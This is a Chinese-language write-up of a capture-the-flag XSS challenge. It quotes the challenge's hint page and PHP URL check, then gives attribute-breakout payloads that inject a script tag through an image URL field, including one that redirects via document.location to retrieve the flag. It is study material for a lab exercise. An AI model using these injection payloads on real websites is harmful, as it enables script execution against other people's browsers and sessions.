前言
好久没做题了,真的做不来,看师傅的文章,发现师傅做了nss18的题,自己也去看了一下,发现还是很有意思的,师傅链接https://www.aiwin.fun/index.php/archives/4379/#cl-5
解题
发现是xss的题目,果断是看上了wp,首先我们简单看了题目然后根据提示就可以知道这个xss不是窃取cookie了,
hint1: 启动的页面藏了提示
hint2: 与cookie无关,给门酱链接就行了
方法1
我们先找提示,在启动页面我们看到源码
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>原神,启动!</title>
<link rel="stylesheet" href="./css/index.css">
<meta hint="nssctfroundSpring.php">
</head>
<body>
<video autoplay controls onended="location.href='king.php'">
<source src="./video/yuanshen.mp4" type="video/mp4">
</video>
</body>
<meta hint="nssctfroundSpring.php">是很明显的,反正自己是看半天看不到,然后我们打开去看看
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}
</html>
什么意思呢,就是输入的内容必须以https开头,/png结尾,然后把内容放在<img class="content" src="' . $matches[0] . '">
标签里面,然后输出,我们去试试
可以输入标题和内容,那部分代码应该就是对内容的检测,其实知道了是xss之后,就先测试嘛,在标题里xss,查看源码,发现只有
alert(1)了,说明script被过滤了,
<div class="comment"><div class="title">alert(1)</div><img class="content" src="http://xxx.xxx.xxx/xxx.png"><span class="expand-btn">
发现双写是没有用的,我们去内容里看看,发现内容是没有过滤的,但是就是有上面的要求,闭合思想在这里就可以起到作用了,
http://"><script>alert(1)</script>.png /png
发现成功
说明可以执行,然后我们在提交页面发现
门酱说:为了安全,我只要我自己网站的链接!什么意思,我们试着提交本题的链接,发现成功,只是说游戏不对,说了是圆梦之星,怎么才能是圆梦之星的链接又是要带本题的链接,又要涉及到xss,所以只能是跳转,我们输入http://"><script>document.location="https://ymzx.qq.com/";</script>.png 123 /png
然后抓包
然后在那个页面提交
得到flag
方法二
没有理解到,因为根本猜不到那里可以执行命令